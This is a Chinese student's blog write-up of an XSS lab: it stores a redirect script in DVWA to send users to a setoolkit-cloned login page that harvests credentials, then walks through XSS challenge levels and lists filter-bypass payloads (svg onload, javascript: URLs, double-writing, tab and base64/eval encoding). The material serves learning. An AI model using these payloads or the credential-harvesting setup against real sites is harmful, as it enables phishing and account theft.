XSS盗取用户信息实验(详细)及xss之旅闯关
前言
近段时间学习xss,进行了比较详细的了解,也学了一个小实验,感觉挺有意思,记录下来。然后,后面就是xss之旅的闯关。
xss盗取用户信息小实验
实验环境
DVWA、kali linux、物理机或一台windows系统的虚拟机。
实验
实验原理:
克隆网站登录页面,利用存储xss设置跳转代码,如果用户访问即跳转到克隆网站的登录页面,用户输入登录,账号和密码被存储。
我画的图。咳咳,太丑了,
使用setoolkit工具克隆网站
setoolkit是一个kali自带的工具,要在root权限下使用。
使用工具克隆好网站后,去靶场插入xss存储型代码。
等待用户点击……
查看账户密码等信息。
实验过程
打开DVWA,复制一下这个登录页面的url,(这个是个在线的靶场,不知道哪位好心人搭建的。IP就不打码了,想尝试一下的也可以用这个试一下。)
登陆进去,先清理一下数据库记录(可有可无)
打开kali终端
root用户登陆的话就输入 setoolkit
普通用户就输入sudo setoolkit
回车
然后输入1
回车
输入2
回车
输入3
回车
输入2
回车
然后出现这样的页面,打码的地方是我的IP地址,
然后敲下回车键,就会提示让输入url,这个时候,将刚复制的DVWA的登录页面的URL输入进去,回车,出现这样的页面
下一步打开kali的浏览器,输入我的虚拟机的IP地址,
发现是这样的,证明克隆成功。
登陆进去,到存储型xss处插入代码
<script>window.location="http://***.***.**.***</script>
这里有长度限制,就f12改一下。
然后在win7虚拟机上进行登录
点击存储型xss,
自动跳转到克隆的登录界面上,然后输入账号密码登录
就会回到原来的网站登录页面。这个时候已经成功拿到了用户名和密码,后面就不管了。
查看盗取的信息,在kali终端就能看到下面的页面。
因为这里我试了两次,所以会有两次的记录。
然后试验完成,Ctrl+Z就可以退出了。
xss之旅
第一关
构造简单的弹框代码成功弹窗即可。<script>alert(1);</script>
第二关
开始构造一个弹框的代码,发现无法弹框了。
查看一下源码
发现这里是我插入代码的位置,然后看到插入点是在input标签内部的,所以无法让浏览器识别弹框代码。这里要做的就是将前面的input标签提前闭合,还有后面的>
也要给它闭合,而且还要让它弹框。
所以这里构造
"><script>alert('XSS')</script><
第三关
可以看出是尖括号,被转义了,所以尝试换个事件进行弹窗。
前面的value值是可以用单引号闭合,后面还有个双引号,可以把它以及后面的语句注释掉。构造payload
1' οnmοuseοver=alert(1)//
知识拓展:
onmouseover在代码中表示的含义是 ——当鼠标指针移至元素之上时运行脚本
还有其他的事件可以选择使用,以下是我找的其他xss可以触发的事件的代码。
第四关
第四关先用第三关的payload试一下,然后查看源码。
只需要将第三关的单引号换成双引号即可
第五关
进行on事件。但是发现on被分开了,中间多了个下划线_
那就再换构造语句,javascript伪协议
JavaScript伪协议介绍
将JavaScript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
如果javascript:URL中的javascript代码中含有多个语句,必须使用分号将这些语句分隔开。
javascript:var now = new Date(); "<h1>The time is:</h1>" +now;
javascript URL还可以含有只执行动作,但不返回值的javascript语句
javascript:alert("hello,world!")
可以使用a标签来进行绕过。
"><a href="javascript:alert(document.domain)"
第六关
可以看出,将href过滤了,还有其他的几个,on还有script都被过滤了。
看了大佬的博客,说是str_replace函数进行处理了,使用大小写绕过就行了。
"><svg/Onload=alert(document.domain)>%0a
知识补充
HTML中的svg介绍
SVG意为可缩放矢量图形
SVG使用XML格式定义图像。
SVG文件可以通过以下标签嵌入HTML文档:
<embed>、<object>或者<iframe>、也可以使用svg标签插入。
闭合触发xss,
"><svg οnlοad=alert(document.domain)>%0a
第七关
这里它将我的on过滤了,变成了空格,然后想到了双写绕过
payload
"><svg oonnload=alert(document.domain)>%0a
第八关
可以看出href被过滤了,双引号也被过滤了,script也被过滤。这个过滤了这么多东西,要想到通过编码来绕过。
HTML编码可以进行绕过,
javascript:alert(1)
这个是一种情况,还有一种情况是内容过滤,比如说,想通过弹窗事件来弹出某个内容,比如cookie。但是cookie如果被过滤了,
可以先将cookie进行base64加密,成一串base64编码,然后
atob:将base64进行解码,转换成明文,并通过eval来执行javascript代码。
再通过使用eval来执行语句。
可以构造一下payload
<script>eval(atob('base64编码'));</script>
第九关
不合法的话,那就加上http://
发现,链接是合法了,但是script被过滤了。所以要进行绕过,
可以选择使用HTML编码绕过,还可以利用制表符(%09)等方法进行过滤。
第一个:
javascript:%0dhttp://www.lalala.io%0dalert(1)
第二个:
javascr%09ipt:alert(1)//http://
这个是将r转换成HTML编码了,当然也可以转换其他的字母,使得绕过script就行。
第十关
没有看到注入框,结果找了一会,在控制台看到了隐藏的信息。
一个隐藏的表单。
猜想可以在这里面进行注入,具体的还要一个一个试。
先进行在t_link框里进行注入尝试。,不过失败了。
一个个尝试,最后发现在t_sort可以插入
主要是尝试在哪个位置可以插入代码。
闯关就先到这里吧,然后再把最近接触到的关于xss注入的知识点记录一下。
xss注入番外
- 属性中的xss闭合引入事件
" onmouseover=alert(document.domain)> / /这个是鼠标放在上面就会触发xss,
当然还有其他属性,点击后触发,等触发事件。
完整语句是
<input/其他的标签 value= 空 onmouseover="alert(document.domain)">
- 列表中的xss事件
HTML中的post方式的from表单提交。可以利用,插入xss语句。
burpsuite测试xss,使用Burpsuite截取http请求,修改提交参数。
闭合触发xss事件,用通过burpsuite在认为可能的地方插入xss代码进行闭合等操作。 - HTML中的svg介绍
SVG意为可缩放矢量图形
SVG使用XML格式定义图像。
SVG文件可以通过以下标签嵌入HTML文档:
<embed>、<object>或者<iframe>、也可以使用svg标签插入。
闭合触发xss,
"><svg onload=alert(document.domain)>%0a
诀窍:`见框就插`。
- HTML表单文本框介绍
HTML表单用于搜集不同类型的用户输入。表单元素指的是不同类型的input元素、复选框、单选按钮、提交按钮等等。text定义常规文本输入。
属性介绍:
- value 属性规定输入字段的初始值
- readonly属性规定输入字段为只读(不能修改)
- disabled 属性规定输入字段是禁用的。被禁用的元素是不可用和不可点击的。被禁用的元素不会被提交。
- size 属性规定输入字段的尺寸(以字符计)
- maxlength 属性规定输入字段允许的最大长度。
如设置maxlength属性,则输入空间不会接受超过所允许数的字符。
该属性不会提供任何反馈。如果需要提醒用户,则必须编写JavaScript代码。
xss的payload长度计算
使用python的内置函数len()
修改时直接修改maxlength参数就可以了。
payload 触发xss漏洞
"><svg/οnlοad=alert(document.domain)>%0a
或者: " onmouseover=alert(document.domain)>
- HTML事件介绍
- 空格分割属性的xss
JavaScript伪协议介绍
将JavaScript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
如果javascript:URL中的javascript代码中含有多个语句,必须使用分号将这些语句分隔开。
javascript:var now = new Date(); "<h1>The time is:</h1>" +now;
javascript URL还可以含有只执行动作,但不返回值的javascript语句
javascript:alert("hello,world!")
- 绕过过滤domain为空的xss
- 双写绕过
过滤一个domain,可以制造这样的payload。
dodomainmain
这个payload使得浏览器将domain过滤掉,剩下的do和main重新构成了domain。 - 编码绕过
构造payload进行base64加密。
eval
atob:将base64进行解码,转换成明文,并通过eval来执行javascript代码。
- 空格绕过:
如果浏览器过滤了script关键字或者其他的什么关键字,导致javascript代码无法执行,那么可以考虑空格绕过。 - 利用IE特性绕过xss过滤(只适用于IE浏览器)
IE特性:两个反引号``可以闭合一个左边双引号
CSS绕过
CSS特性介绍
background:url("javascript:alert(document.domain);");
设置背景颜色
这是利用javascript伪协议执行js,目前只有IE浏览器支持,其他的不支持
payload触发CSS
background-color:#f00;background:url("javascript:alert(document.domain);");
先到这里,后续还有几个不常见的知识点,回头学了再补吧。最近有点累,要期末考试了,也该准备下复习了。睡觉睡觉,今天早点睡,不熬了。
对了突然想起来,这个好像是之前学长布置的作业来着,果然还是那个老毛病,不到检查作业最后一刻,绝对不提前写完。哈哈哈。下周十六周,刚刚好,截至周。
现在没事回头看看自己写的博客和印象笔记。哈哈学了不少东西呐。
从2020.1.12发的第一篇文章到现在4个多月了,看看还是蛮有成就感的。
嗯!要继续加油啊。
文末寄语:
在这世上,有些东西是石头无法刻成的,在我们心里,有一块地方是无法锁住的,那块地方叫做希望。——《肖申克的救赎》